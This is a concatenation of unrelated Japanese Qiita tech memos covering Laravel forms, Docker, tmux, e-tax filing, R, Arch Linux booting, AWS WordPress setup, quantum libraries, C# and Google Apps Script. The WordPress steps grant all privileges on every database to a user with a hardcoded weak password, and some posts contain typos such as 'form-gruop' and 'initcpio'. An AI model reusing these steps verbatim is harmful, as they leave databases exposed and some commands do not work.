OmniAICreator/Qiita-1.07M huggingface dataset:
Laravelのフォーム、バリデーション・入力値の保持（Blade書き方メモ）

Laravelのフォームについての個人的なメモです。

###Bootstrapのフォーム
・まとめたい要素form-control（label、option、selectなど）は`form-gruop`にまとめる。

###バリデーション
・`@error`ディレクティブを使う。引数にはチェックする項目を。
・フォームタグ内に`required`属性を追加することで、ブラウザによるバリデーションを行う。

###入力値の保持
・`old()`と三項演算子でテーブルに登録されている値を入れる。
・`autocomplete`には自動入力する値を設定。

###input
```php
<div class="form-gruop">
 <label for="title">Title</label>
 <input id="title" class="form-control @error('title') is-invalid @enderror" name="title" required autocomplete="title" value="{{ old('title') ? : $articles->title }}"> 
                              
 @error('title')
   <span class="invalid-feedback" role="alert">
      <strong>{{ $message }}</strong>
   </span>
 @enderror
</div>
```

###textarea
```php
<div class="form-gruop">
 <label for="Text">Text</label>
 <textarea class="form-control @error('text') is-invalid @enderror" name="text" required autocomplete="text" rows="4">{{ old('text') ? : $articles->text }}</textarea>

 @error('text')
   <span class="invalid-feedback" role="alert">
      <strong>{{ $message }}</strong>
   </span>
 @enderror
</div>
```

###select
```php
<div class="form-gruop">
 <label for="num">Number</label>
 <select name="num" id="genre" class="form-control @error('num') is-invalid @enderror" required>
 <option value="1">1</option>
 <option value="2">2</option>
 <option value="3">3</option>
 <option value="4">4</option>
 </select>

 @error('num')
   <span class="invalid-feedback" role="alert">
      <strong>{{ $message }}</strong>
   </span>
 @enderror
</div>
```
【自分用】Dockerのコマンドまとめ

##Dockerを立ち上げる


```
docker-compose up --build
```

# コンテナ内に入らず開発を再開したい場合（ログを確認しつつ開発したい場合）

## Dockerコンテナを起動
```
docker-compose up
```
 
## 動作停止
ctrl+c 
 
## コンテナを停止（ctrl+cと同時にこのコマンドもセットでした方が後々楽）
```
docker-compose stop
```


#コンテナ内に入り開発したい場合


## Dockerコンテナを起動 
```
docker-compose up -d 
```

 
## コンテナ内にSSH接続 
```
docker-compose exec potepanec bash 
```

##rails consoleをDocker内で実行する
```
bundle exec rails c
```
## コンテナ内から抜ける 
```
exit 
```
## コンテナを停止 
```
docker-compose stop
```
tmux の open terminal failed: can't find terminfo database エラー対応

## tl;dr

`tmux kill-server` で、残ってるプロセスを切る。

## 参考

* https://github.com/tmux/tmux/issues/743

## ログ

`tmux a` でセッションにアタッチすると、以下のエラーが発生し、アタッチできない状態が発生。

```
$ tmux a
open terminal failed: can't find terminfo database
```

アタッチすべきセッションが無いのではと思い、新しくセッションを開始しても、同様のエラーが発生。

```
$ tmux
open terminal failed: can't find terminfo database
```

`brew reinstall tmux` で tmux をインストールし直しても再現する。 (uninstall + install でも再現する)

必要な terminfo は存在してそう。

```
$ echo $TERM
xterm-256color
$ locate xterm-256color
/usr/share/doc/ncurses-devel-5.9/test/xterm-256color.dat
/usr/share/terminfo/x/xterm-256color
```

プロセスを検索して tmux のプロセスが存在していることを確認。

```
$ ps aux | grep tmux
 9394  0.0  0.0 112708   980 pts/0    S+   22:25   0:00 grep --color=auto tmux
11185  0.0  0.0  18564  2544 ?        Ss   10:31   0:01 tmux
```

一度スルーしていた https://github.com/tmux/tmux/issues/743 を読んで、`tmux kill-server` を実行し、エラーが解消したことを確認。
freeeを使ってe-taxで確定申告する手順（Mac）

毎年苦戦しているので自分用のメモです。

# 使用環境
使用PC：Macbook pro
使用サービス：freee

# 事前にやっておくべき事
1. 　期限日を確認　（3月15日）
2. 　用意するもの
マイナンバーカード、カードリーダー
3. 　freeeと銀行口座を連携しておく（収入や経費用の口座）

# 確定申告書を作成
1年間の収入や経費を整理して、最終的に所得金額を確定し、納税すべき所得税を決定します。
計算方法は以下のとおり。（実際にはfreee内で自動計算してくれます。）

```
所得金額 = 収入 - 経費 - 控除
```
```
所得税　= 所得金額　×　税率（所得金額の範囲によって異なる）
```
#### 1.　freeeにログイン
https://secure.freee.co.jp/

#### 2. 　「確定申告書の作成」をクリック
![SS_2015-12-21_19_02_22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242518/bc61b894-c8d5-1c7a-ef77-22d7f7fd9b56.png)

#### 3.　情報を入力
https://support.freee.co.jp/hc/ja/articles/204087130-%E4%BC%9A%E8%A8%88freee%E3%81%A7%E8%A1%8C%E3%81%86%E7%A2%BA%E5%AE%9A%E7%94%B3%E5%91%8A%E3%81%AE%E6%B5%81%E3%82%8C

#### 4.　取引データの見直し　
freeeでは登録した取引データ（収入額、経費、控除など）を何度も見直しできます。
問題なければ、次のステップへ。

※売上計上は入金日ではなく、月の仕事の納品日（月末の請求日）になるようにする。

※医療費控除、社会保険料控除などもあるので、必要な書類を用意して節税しよう。

# 申告書を提出
上記で作成した確定申告書の電子データを提出します。

#### 1. e-taxの開始届
こちらを完了させてないと、以降の手順に進めないため必ずやる。
https://kaishi.e-tax.nta.go.jp/SU_APP/lnk/kaishiShinkiKojin

以下はあとで使うので控えておく。

- 16桁の利用者識別番号
- 暗証番号
- ６桁の納税用確認番号

#### 2. 事前に準備するもの
e-taxで必要になるので、必ず準備する。

- マイナンバーカード
- カードリーダー（著者の場合は、ACR39-NTTComを購入）


※macで使えるようにするための対応
ドライバーをインストールして、PCを再起動
参考：http://koba5884.com/archives/1961399.html


> 「4.ICカードリーダライタ・ドライバインストーラ/アンインストーラmacOS用」をインストール
https://www.ntt.com/business/services/application/authentication/jpki/download6.html

※差し込む向きが悪く読み込みに失敗することが多かったので、
マイナンバーカードの金色のIC箇所が上になるように差し込む。

#### 3. 申請時に必要な電子証明書の登録
freeeを使っている場合、どちらかの方法で申告をする事ができます。
（１） e-taxソフト（WEB版とwindows版がある）
（２） freeeのアプリ（freee専用のアプリでは、通常のe-taxソフトと同等の申告が比較的簡単にできます。）

著者の場合は（２）で行いました。

手順：https://support.freee.co.jp/hc/ja/articles/115005956263-freee%E3%81%A7%E6%89%80%E5%BE%97%E7%A8%8E%E3%81%AE%E9%9B%BB%E5%AD%90%E7%94%B3%E5%91%8A%E3%82%92%E8%A1%8C%E3%81%86-Mac-

**電子証明書とは？**
```e-taxを利用する場合、申告者本人であることを証明する手段として、電子証明書を用意する必要があります。```

申告する際に、誰かを特定するためにマイナンバーカードを使うって事ですね。

# 納税
申告が終わったら次は納税です。

上記までは電子データを送信したに過ぎず、お金を納めて初めて完了です。
（1年目は納税を忘れて、延滞金を払いました。。。）

オンラインでの納税方法は、口座引き落とし、クレジット支払い、ネットバンキング支払いがあります。

著者の場合、クレジットカードがうまくいかなかったので、ネットバンキングで行った。

## インターネットバンキングの支払い

参考：インターネットバンキングの支払い手順
https://www.freee.co.jp/kb/kb-blue-return/pay-tax/#content1-3

##### 1. 金融機関のインターネットバンキングにログイン
（著者の場合、ジャパンネット銀行でログイン）
##### 2. pay-easyを選択
![4d3d1019463364696816b63a64bd9f8d.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242518/63352698-0127-1642-e573-8595f746f6c4.jpeg)

> ペイジーとは、税金をはじめ公共料金などの支払いを、金融機関の窓口やコンビニを利用することなく、PCやスマホ、ATMから支払うことができるサービスです。

##### 3. 収納機関番号の選択
国税庁の番号である「00200」を入力しましょう。
##### 4. 続いて画面の指示に従い以下を入力
「納付番号」：納付番号は16桁の利用者識別番号
「確認番号」：開始届けで入力した納税用確認番号
「納付目的コード」：納付目的コード（電子納税用に設定されたコードで、以下のe-Taxのページで確認できます）
https://www.e-tax.nta.go.jp/tetsuzuki/tetsuzuki4_3.htm


例：確定申告に基づく平成29年分の申告所得税を支払う場合の納付目的コードは「0204429」となります
例：確定申告に基づく令和2年分の申告所得税を支払う場合の納付目的コードは「0204502」となります
例：確定申告に基づく令和3年分の申告所得税を支払う場合の納付目的コードは「0204503」となります

コード：意味
020:申告所得税
4:確定申告
5:令和
03:和暦

参考：ネットバンキング　入力方式について
https://ztakani.com/post-9453

##### 5. 納税額を入力
##### 6. 完了
納税完了です！

e-taxは、申告書の郵送や税務署に行かなくて済むのでいいですね！
基本情報技術者　ストラテジ系　第2章 経営戦略④

　
# ④財務会計と損益の算出

## 賃借対照表(バランスシート, B/S)
企業の決算日の財政状態をまとめたもの

## 損益計算書(P/L)
企業の収益と費用の関係をまとめたもの

## 財務指標
企業の状態を判断する助けになります。

## 損益分岐点
利益が0になる点です。

売上の直線と総費用の直線が交わる点。

## 原価計算
原価に対する内容をまとめた表。
S3へのput権限エラー


SEC7139: [CORS] 送信元 'https://xxxxx.jp' で、'https://cognito-identity.ap-northeast-1.amazonaws.com/' に対する cross-origin 要求について、指定された値がこの値を超えていたため、Access-Control-Max-Age の最大値 '172800' が使用されました。


上記エラーはCognitoがS3にput権限を持っていないことを意味する。Cognitoにロールをつけてあげましょう。

 crossドメインの設定をしていると権限で引っかかることが多いので注意。
（多分、同じエラー見たの３回目だから簡易的ですが、投稿します。）
【R】 パネルデータから重複レコードを見つける

# 趣旨
R使いの皆様は、パネルデータを`{plm}`にかけて分析したり、機械学習に突っ込んだりすることがあると思います。
ここで時系列分析をする際、レコードに重複があると`{plm}`がエラーを吐き出すことがあります。そのため重複を修正した上で分析にかけなくてはいけません。
そこで、パネルデータの前処理として重複レコードを検索する方法を記しておきます。

```R:こういうエラー
Error in pdim.default(index[[1]], index[[2]]) : 
  duplicate couples (id-time)
In addition: Warning messages:
1: In pdata.frame(data, index) :
  duplicate couples (id-time) in resulting pdata.frame
 to find out which, use e.g. table(index(your_pdataframe), useNA = "ifany")
2: In is.pbalanced.default(index[[1]], index[[2]]) :
  duplicate couples (id-time)
```

# サンプルデータ
個体名と日付のレコードが重複している欠陥のあるデータを用意しておきました。
ここから、「nameとyearのセット」が重複している行を抽出できればOKというわけですね。

```R
df <- data.frame(name = c("sato", "sato", "sato", 
                          "ishii", "ishii", "ishii", 
                          "ohta", "ohta", "ohta"),
                 year = c(2017, 2018, 2019, 
                          2017, 2017, 2019, 
                          2017, 2018, 2018),
                 kokugo = c(60, 50, 50, 
                            50, 50, 40, 
                            70, 70, 60))
```
```R
df
   name year kokugo
1  sato 2017     60
2  sato 2018     50
3  sato 2019     50
4 ishii 2017     50
5 ishii 2017     50
6 ishii 2019     40
7  ohta 2017     70
8  ohta 2018     70
9  ohta 2018     60
```

# 処理例

## レコードの通し番号をつけておく
処理をする前にレコードに番号を振っておくと後で修正するときに楽になります。`dplyr::mutate()`を使って、各データに通し番号を付しておきましょう。

```R
library(dplyr)
df2 <- mutate(df, no = row_number())
df2
# A tibble: 9 x 4
  name   year kokugo    no
  <fct> <dbl>  <dbl> <int>
1 sato   2017     60     1
2 sato   2018     50     2
3 sato   2019     50     3
4 ishii  2017     50     4
5 ishii  2017     50     5
6 ishii  2019     40     6
7 ohta   2017     70     7
8 ohta   2018     70     8
9 ohta   2018     60     9
```


## dplyr::group_by()でグループ化する

`{dplyr}`の`group_by()`関数を使うと、データフレームを変数の値でグループ化できます。これは複数の変数（列）に基づいてグループ化することもできるので、まずはnameとyearでグループ化します。こうすることで、「ある個体のある時点のデータ」という単位で1グループを構成することになります。

```R
df2 <- group_by(.data = df, name, year)
```

## グループ内のデータが2つ以上あるデータを抽出する
理想的には「ある個体のある時点のデータ」、つまり1グループに対して1つのレコードがグループ化されているべきです。ここで、レコードに何かしらの重複があるということは、グループに2つ以上のレコードが記録されていることになります。
そこで、グループ内のレコード数が1より大きいデータを`dplyr::filter()`で抽出しましょう。

```R
filter(df2, n() > 1)
# A tibble: 4 x 4
# Groups:   name, year [2]
  name   year kokugo    no
  <fct> <dbl>  <dbl> <int>
1 ishii  2017     50     4
2 ishii  2017     50     5
3 ohta   2018     70     8
4 ohta   2018     60     9
```

これで問題のあるデータが4, 5, 8, 9行目にあることが判明しました。あとはこれを手作業で修正するなり削除するなりすれば完了です。

## これを一行で済ます方法
ちなみに、ここまでの一連の流れをパイプで繋いでしまえばサクッと特定できます。

```R
> df %>% mutate(., no = row_number()) %>% group_by(., name, year) %>% filter(., n() > 1)
# A tibble: 4 x 4
# Groups:   name, year [2]
  name   year kokugo    no
  <fct> <dbl>  <dbl> <int>
1 ishii  2017     50     4
2 ishii  2017     50     5
3 ohta   2018     70     8
4 ohta   2018     60     9
```

# おわりに
よく使うのにすぐ忘れてしまうので書いておきました。
パネルデータをちゃんと処理して気持ちよく分析しましょう。

Enjoy!

おしまい。
無料でどれほどのWebサービスが作れるか試してみる

##きっかけ
自社サービスの機能追加やメンテばかりしていると、なかなか新しい技術にチャレンジできないという時期もあります。
また、キャリアアップによりプログラムの現場から離れつつもあり、腕が鈍るのもどうかなと思い、お遊びできに何かWebサービスを作ってみたくなりました。

##方針
タイトルにもある通り、インフラやミドルウェア、ライブラリ等にお金を一切かけずすべて無料で構築したいと考えてます。
ビジネスで求められる「スピード感」は捨てます。あくまでお遊び程度のモノなのでダラダラとやっていきます。

##実際にやること
- 企画
- 技術調査
- 工数見積もり
- 外部設計
- 内部設計
- 実装
- テスト
- デバッグ
- リリース

プログラミング部分以外にも有料ツールを利用する場合もありますが、今回はすべて無料のツール（サービス）で進めいきます。

##試したい事
- テスト駆動開発
- 関数型言語
- AI
- SEO対策

###企画
今回は英会話を勉強中ということで、何かしら英会話の学習サービスを構築します。
英語SNS、文法チェック、オンライン通話、などなどいろいろありますが、今回は「ITエンジニア向け」の学習サービスにしようと思います。
英語が苦手なエンジニアに立ちはだかる壁には「海外エンジニアへ問い合わせをあげる」というものがあります。（個人的意見ですが。）
そこで「対面している問題を正確に伝える英作文」をまとめたFAQサービスを作成することにします。
ポイントは正確に伝えるということなので、綺麗な英文よりも伝わりやすい英文で、かつ簡潔なフレーズが良いというコンセプトを持たせようと思います。


###技術調査
Webサービスなので、それ用のインフラ、開発言語、DB等の検討が必要です。今回はなんとなく以下の構成を考えてます。

- インフラ：**Heroku**
- 開発言語（フレームワーク）：**Scala(Play Framework)/React**
- DB:**Redis**

それぞれ世間では当たり前に使われているものかもしれませんが、個人的には未経験のものなので今回利用してみます。
ひとまずPlay Frameworkについては調査開始しました。
https://qiita.com/tenpa_ozisan/items/2d8c836e1832a2b0e01b

### 工数見積もり
実際に作る機能は以下の通り。

- ユーザー側
    - スレッド一覧表示
    - 新規スレッド作成（質問作成）
    - 英文投稿
- 管理側
    - 管理者画面ログイン
    - 不適切な投稿削除

ざっくりとですが想定する工数は以下の通り

- 外部設計(1d)
- 内部設計(1d)
- 実装(5d)
- テスト(1d)
- デプロイ(1d)

約半月のプロジェクトになりそうです。

### 外部設計
coming soon?
### 内部設計
coming soon?
### 実装
coming soon?
### テスト
coming soon?
### デバッグ
coming soon?
### リリース
coming soon?
Archlinuxでフラッシュメモリにsystemd-bootをインストールするときのエントリ

## ブートローダなんかを触ろうとした経緯
Raid1を使うときにブートパーティションに気を配る必要があると書いてあるのを見てビビッて、わざわざ外部ディスクにブートローダを置きました（なんでそんなことしたんだろう）.
ブートローダの入ったフラッシュメモリが壊れちゃったので systemd-boot を新しく用意したフラッシュディスクにインストールします.

```
$ cat /etc/arch-release
Arch Linux release
$ uname -r
Linux 5.4.15-arch1-1
```

btrfsのRaid1を利用していますが手順に変わったところはないと思います

## 前準備
 - Arch Linux のブータブルディスクを用意する.
 - ブートローダを書き込むディスクを用意する.
 - システムが ```/dev/sda1```にあり, ブートローダを ```/dev/sdc1```にインストールすると仮定します.

### システムの入ったデバイスに入る
Arch Linuxのブータブルディスク上でシステムにchroot. archlinux便利.

```
# mount /dev/sda1 /mnt
# arch-chroot /mnt /bin/bash
```

## ディスクのUUIDとPARTUUIDを確認

ブートローダをインストールするディスクのUUIDを確認

```
# blkid -o export /dev/sdc1 | grep '^UUID='
```

## ```/etc/fstab```にブートロータのUUIDを追加する
ここで新しく作った ESP の UUID を指定しないとデバイスを待ち続けてタイムアウトします.

```
# root filesystem. btrfs raid1
UUID=12345678-90ab-cdef-1234-567890abcdef	/         	btrfs     	rw,relatime,nodfs,compress=lzo,space_cache,subvol=/	0 0

# bootloader
UUID=1234-5678     	/boot     	vfat      	rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro	0 2
```

## ブートパーティションを準備する
pacman でLinuxを再インストール

```
# pacman -S linux intel-ucode
```

initramfs を生成する

```
# initcpio -P
```

### ESPを用意する
UEFI用にESPパーティションを作る. 大きさその他はarchwiki[^EFI_partitioning]を参照してください.

```
# gdisk /dev/sdc
```

fat32 でフォーマットする.

```
# mkfs.fat -F32 /dev/sdc1
```


### ブートローダを書き込む
systemd-boot のインストール

```
pacman -S systemd-boot
```

espは```/boot```にマウントすることが推奨されています[^systemd-boot-path].

```
# bootctl --path=/boot install
```

loader.confを編集

```loader.conf

default arch
timeout 4
console-mode max
editor  no
```

システムの root となるパーティションの PARTUUID を確認.

```
# blkid -o export /dev/sda1 | grep '^PARTUUID'
```

## エントリを追加

```arch.conf
title   Arch Linux
linux   /vmlinuz-linux
initrd	/intel-ucode.img
initrd  /initramfs-linux.img
options	root=PARTUUID=12345678-90ab-cdef-1234-567890abcdef	rw	rootflags=subvol=/
```

ここで options の root を PARTUUID ではなく UUID にしたり，システムの root ではなく ESP の root を指定してかなりハマりました[^options=system's_root].

## (参考) systemd-boot において PARTUUID を指定かつ ESP の root を指定したときのエラー
```
Waiting 10 seconds for device /dev/disk/by-uuid/FFFF-FFFF ...
:: performing fsck on '/dev/disk/by-uuid/FFFF-FFFF'
:: mouting '/dev/disk/by-uuid/FFFF-FFFF' on real root
mount: /new_root: unknown filesystem type 'vfat'
You are now being dropped into an emergency shell.
sh: can't access tty; job control turned off
```
[^EFI_partitioning]:https://wiki.archlinux.jp/index.php/EFI_%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%83%91%E3%83%BC%E3%83%86%E3%82%A3%E3%82%B7%E3%83%A7%E3%83%B3
[^systemd-boot-path]:https://wiki.archlinux.jp/index.php/Systemd-boot#EFI_ブートマネージャのインストール
[^options=system's_root]:https://bbs.archlinux.org/viewtopic.php?id=202726

## おわりに
最後のエラーについて日本語の情報がなかったので書きました。記事が肥大化して読みづらくてすいません。
AWSかんたんWordPress導入(個人利用)

#動画
[![動画が表示されない場合は再読み込みしてみてください。](http://img.youtube.com/vi/wYDCUfOprss/0.jpg)](http://www.youtube.com/watch?v=wYDCUfOprss)

#注意！
動画の中で作成したEC2インスタンスはインターネットに面した構成になっています。
セキュリティグループで制限を掛けたとは言え、何があるか分からないので、
ひとしきり楽しんだ後は忘れずに停止or終了することを心がけてください。

#手順
###1,既存パッケージのアップデート
<pre>
 $ sudo su -
 # yum update
</pre>
###2,Apacheのインストール
<pre> # yum install httpd</pre>
###3,PHP7.3のインストール
<pre> # amazon-linux-extras install php7.3</pre>
###4,mariadbのインストール
<pre>
 # yum search mariadb | more
 # yum install mariadb.x86_64 mariadb-server.x86_64 mariadb-devel.x86_64 mariadb-libs.x86_64
</pre>
###5,Apacheとmariadbの起動
<pre>
 # systemctl start httpd
 # systemctl start mariadb
</pre>
###6,mariadb上の作業
####6-1,ログイン
<pre>
 # mysql -uroot -p
</pre>
####6-2,データベース作成
<pre>
 mysql> create database wordpress;
</pre>
####6-3,ユーザー作成＆確認
<pre>
 mysql> grant all on *.* to wpuser@localhost identified by 'wppasswd';
 mysql> select user, host from mysql.user;
</pre>
####6-4,ユーザー権限の適用
<pre>
 mysql> flush privileges;
</pre>
####6-5,作成したデータベースの確認
<pre>
 mysql> show databases;
</pre>
###7,wordpress用ユーザーとパスワードでのDB接続確認
<pre>
 # mysql -uwpuser -pwppasswd
</pre>
###8,WordPressの解凍と設置
<pre>
　# mv /var/www/html{,_old}
　# cd ~ec2-user/
　# tar zxf wordpress-5.3.2-ja.tar.gz
　# mv wordpress /var/www/html
　# chown apache:apache -R /var/www/html
</pre>
以上です。
基本情報技術者　ストラテジ系　第2章 経営戦略③



# ③品質管理の技法

## QC 7つ道具

### 1,ヒストグラム
区間ごとのデータ出現数を棒グラフで表す。

### 2,散布図
2変数からなる平面上にデータをプロットする。

### 3,特製要因図
特製に対して考えられる要因を
体系的にまとめる。
木の枝のように書く

### 4,管理図
製品をサンプリングし、その特製値をプロットする。

### 5,チェックシート
項目ごとに表形式の評価蘭を設ける。

### 6,層別
データ郡を特徴によって分類する。
ぶどうのような形


### 7,パレート図
データが降順に並んだ棒グラフと
累積を表す棒グラフで表す。

## 新QC 7つ道具

### 1,親和図法
事象を整理し、解決策を明確にする。
一つの皿(基本内容)の上に格食べ物(本体、マニュアルなどの事象)が乗っている
ような形

### 2,連関図法
複雑な自称に置いて
事象や要因の間の因果関係を明らかにする、
オブジェクト図法のような形

### 3,系統図法
目的達成のための手段、法則を順次展開し、最適手段を追求する。
目的から枝分かれする形

### 4,アローダイアグラム
作業の前後関係を明らかにする

### 5,PDPC法
Process Decision Program Chart
過程を整理し、最適な過程を探す。

### 6,マトリクス図法
二次元の表を用いて格要素の関連を表す技法

### 7,マトリクスデータ解析法
マトリクス図法のデータを解析する。

## 散布図と相関関係

### 正の相関
一方の軸が増加すると、他方の軸も増加する。

### 負の相関
一方の軸が増加すると、他方の軸が現象する。

### 相関関数
相関関係を値で表す方法

+1は強い正の相関
-1は強い負の相関

## パレート図とABC分析
ABC分析はパレート図を利用して重要度を
A,B,Cのランクに分ける手法です。

Aに近いほど、管理コストが高く、厳密に管理する必要があります。

### Aランク
定期発注方式で管理します。

### B,Cランク
定量発注方式と2ビン方式で管理します。
QiskitとBlueqatを比較してみた（初心者）

# QiskitとBlueqatを比較してみた（初心者）
現在量子コンピュータの学習をしているが、量子コンピュータ用Pythonライブラリである「Qiskit」、「Blueqat」について初心者目線で比較してみた。かなり私見が入っているので、参考程度に読んでください。ちなみに、QiskitはIBM社製、BlueqatはMDR社製となっています。

## 評価ポイント
今回は以下の評価ポイントで比較してみる。

- 説明が充実しているか
- 実行環境の準備、利用のしやすさ
- 使用感（かなり私見）

今回はこれで評価しますが、何か他にいい評価基準があれば教えてください。

## 1. 説明が充実しているか
結論から言うと、**説明は「Blueqat」の方が分かりやすい**。以下にQiskitとBlueqatのAPIドキュメント、チュートリアルのリンクを載せておく。
**・[Qiskitチュートリアル](https://quantum-computing.ibm.com/jupyter/tutorial/1_start_here.ipynb)**
**・[Qiskit APIドキュメント](https://qiskit.org/documentation/)**
**・[Blueqatチュートリアル（英語）](https://github.com/Blueqat/Blueqat-tutorials)**
**・[Blueqatチュートリアル（日本語）](https://github.com/Blueqat/Blueqat-tutorials/tree/master/tutorial-ja)**
**・[Blueqat APIドキュメント](https://blueqat.readthedocs.io/ja/latest/api/modules.html)**

リンク先を見ていただけると分かるんですが、Qiskitの方はドキュメント体系が分かりにくい。なんか色々な人がパーツを作って合体させた感じがします。あと、地味に大きいのがBlueqatは日本企業ということもあり、チュートリアルが日本語に対応している。

## 2. 実行環境の準備、利用のしやすさ
実行環境の準備／利用のしやすさで言うと、私の目線では両者さほど変わらない。
まず、「実行環境の準備」についてだが、Pythonを利用する場合は両者「pip」コマンドでライブラリを準備するだけである。ただし、Qiskitは「[IBM Q Experience](https://quantum-computing.ibm.com/)」でインターネット経由でjupyter notebook環境を取り扱うことができます。ただし、Googleが提供している「Google Colaboratory」でも同様の環境が提供されているため、大きなアドバンテージにならないなと感じました。

あとちょっと説明が脇道にそれますが、IBMが提供しているIBM Q ExperienceのCircuit Composerを利用するとドラック＆ドロップで量子回路を作成することができます。気軽に試してみたいという方にはいいかもしれません。

## 3. 使用感（かなり私見）
使用感については、今後使っていく上で気づいた所があれば適宜追記／修正してきます。
正直な所「1. 説明が充実しているか」に引きずられる部分が大きい部分が大きく、やりたいことを比較的すぐ実行できるのはBlueqatであり、使用しずらさを感じる場面は今の所ないです。
　ただし、Qiskitは計算結果を図で表示するまで簡単に実装できるので、jupyter notebookが視覚的に分かりやすくなる所が利点だと思います。今の所実装速度を求めるならBlueqat、視覚的に分かりやすいものを簡単に実装したいならQiskitって感じかなと考えています。

## 総合評価
ということで、今までの評価を踏まえ総合評価は以下の通りとしました！

|    |  Qiskit | Blueqat |
| ---- | :----: | :-----: |
| 説明が充実度 | △ | 〇|
| 実行環境/利用のしやすさ | 〇 | 〇 |
| 使用感 | 〇 | 〇 |
| **総合評価** | **△** | **〇** |

異論は認めます！なぜなら使用感の評価がガバガバだからです(｀･ω･´)

それではまた次の投稿で！
[C#/xaml] BitmapSourceやその派生クラスから、System.Drawing.Bitmapに変換する(BmpBitmapEncoderクラス)

**もくじ**
→https://qiita.com/tera1707/items/4fda73d86eded283ec4f

**Bitmap関連**
→[BitmapSource派生クラスの使い方](https://qiita.com/tera1707/items/1f541e47540d0f32fa92)

# やりたいこと

WPFアプリでよく使う`BitmapSource`やその派生の`BitmapImage``RenderTargetBitmap``TransformedBitmap`を`System.Drawing.Bitmap`に変換したい。
(新しく作る処理では`BitmapSource`を使いたいが、もともとあるロジックで`System.Drawing.Bitmap`を使ってるときに、そこに合わせに行きたい)

# やり方

`BmpBitmapEncoder`を使う。

# サンプル

```cs
private void Button_Click_1(object sender, RoutedEventArgs e)
{
    // BitmapSourceの派生クラス「RenderTargetBitmap」で、画像を取ってくる
    // 「RouletteWhole」は、Gridの名前。
    var canvas = new RenderTargetBitmap((int)RouletteWhole.ActualWidth, (int)RouletteWhole.ActualHeight, 96, 96, PixelFormats.Pbgra32);
    canvas.Render(RouletteWhole);

    // BmpBitmapEncoderに画像を入れる
    using (var stream = new MemoryStream())
    {
        BitmapEncoder encoder = new BmpBitmapEncoder();
        encoder.Frames.Add(BitmapFrame.Create(canvas));
        encoder.Save(stream);

        // BmpBitmapEncoderからSystem.Drawing.Bitmapをつくる
        var bitmap = new System.Drawing.Bitmap(stream);
        bitmap.Save(@".\aaa.bmp");
    }
}
```

# 参考

Convert RenderTargetBitmap to Bitmap
https://stackoverflow.com/questions/20083210/convert-rendertargetbitmap-to-bitmap

親クラスの「BitmapEncoder」クラス
https://docs.microsoft.com/ja-jp/dotnet/api/system.windows.media.imaging.bitmapencoder?view=netframework-4.8
【UE4】仲間を回収しつつ群れを先導する／第13回UE4ぷちコン進捗 - 2020/02/25

[1]:http://historia.co.jp/ue4petitcon13
[2]:https://qiita.com/Rinderon/items/b46926fdd30441cca323


[株式会社ヒストリアさん主催の第13回UE4ぷちコン][1]の作業進捗。
[前回やった群れの先導][2]に、仲間の回収機能を付けた。

![20200225_2155.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/358170/c9224130-b438-6196-4245-066619ee3f5b.gif)

…ということで、仲間を「捜<font color="red"><b>索</b></font>(そう<font color="red"><b>さく</b></font>)」して回収していくゲームになります。たぶん。

> やっとお題[「さく」][1]が回収できた！

- 前回悩んでいた群れの動きを多少修正した。ずいぶん良くなったかもしれない。まだアレコレ気に食わないが、最悪このままでも良いことにしよう。
- 群れの空きスペース管理まわりを作った。
    - 回収された恐竜は、最も良さげな空きスペースに収まる。
    - ループ回して空いているところを探す系(Arrayを線形検索するベタな形)なので、Blueprintよりは良かろうと思って、C++にしてみた。
- 用途によるが、Arrayに入れるアイテムはstructの方が扱いやすいことを知った。
    - つまり `TArray<UObject*>`ではなく`TArray<UStruct>`。
    - Arrayの中のアイテムそのものを他のクラスに渡すつもりがなく、
    - Arrayのライフタイムを通じて、アイテムの削除や再確保が不要で、
    - 書き換えはArrayの管理者がアイテムの中身(メンバ変数)を直接書き換える、場合はこっちの方が良さげ。

今日はここまで。
Cloud Text-to Speech + GASで「聴く用語集」を作ってみた

## はじめに
資格取得などで用語を覚えたい時、覚えたい用語を表形式でまとめる事があるかと思います。
しかし、まとめた表を目で追うだけだと、覚えた気になって実は覚えてないなんてこともしばしば...
曲をなんども聴いて歌詞が自然と覚えられるように、用語も「聴く」ことでより覚えやすくなるのでは？と思い作ってみました。

## 前提条件
Googleアカウントを持っていること

## 実装
### 1. Cloud Text-to SpeechとGASの連携

以下のブログを参考にAPIの有効化とGASの連携を行いました。
<a href="https://auto-worker.com/blog/?p=320" target="_blank">Google Apps ScriptでCloud Text-to Speechの音声合成のやり方をサンプルコードで解説！</a>

音声合成のサンプルコードは、以下の2点を書き換えました。

- 音声ファイル名（`yyyyMMdd_hhmmss`形式のタイムスタンプ）

```javascript
var date = new Date();
var name = Utilities.formatDate(date, 'Asia/Tokyo', 'yyyyMMdd_hhmmss') + ".mp3";
```
- `audioConfig`（`pitch`と`speakingRate`）

```javascript
// pitch : 声の高さが変わる
// speakingRate : 読みの速さが変わる
var json = {
    "audioConfig": {
      "audioEncoding": "MP3",
      "pitch": "2.00",
      "speakingRate": "1.2"
    },
```

### 2. 音声化するテキスト作成

例として、基本情報技術者試験の用語をまとめたシートを作成しました。
<img width="1203" alt="FE_yougo.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/230946/6a1a1fa9-e646-108d-c224-6dcbcd81a782.png">

- 記入日（B列）が埋まっている、かつ音声ファイル化（E列）が空欄の用語を音声化する
- 音声化したら、E列に「Done」と入力

```javascript
// 再生する文字列を作成
function generateSpeechText(){
  var sheet = SpreadsheetApp.getActiveSheet();
  var speechText = "";
  var contents = sheet.getRange('B2:E500').getValues();
  var rowNum = 2;
  contents.forEach(function(value){
    if(value[0] != "" && value[3] == ""){
      // C列（用語）とD列（解説）を連結
      speechText = speechText + value[1] + "、" + value[2] + "。";
      // 音声化する行のE列に「Done」と書き込み
      sheet.getRange(rowNum, 5).setValue("Done");
    }
    rowNum = rowNum + 1;
  });
  return speechText;
}
```

上記の図の場合、「パケット交換方式」〜「商標」までが`speechText`という一つの文字列になります。

### 3. 音声ファイル出力

1で作成した音声合成のサンプルコードの`speechText`を書き換え

```javascript
function generateSpeechToDrive() {

  //音声出力したいテキストデータと出力する音声データのファイル名を定義します。
  var speechText = generateSpeechText();;

  // 以下略
}
```

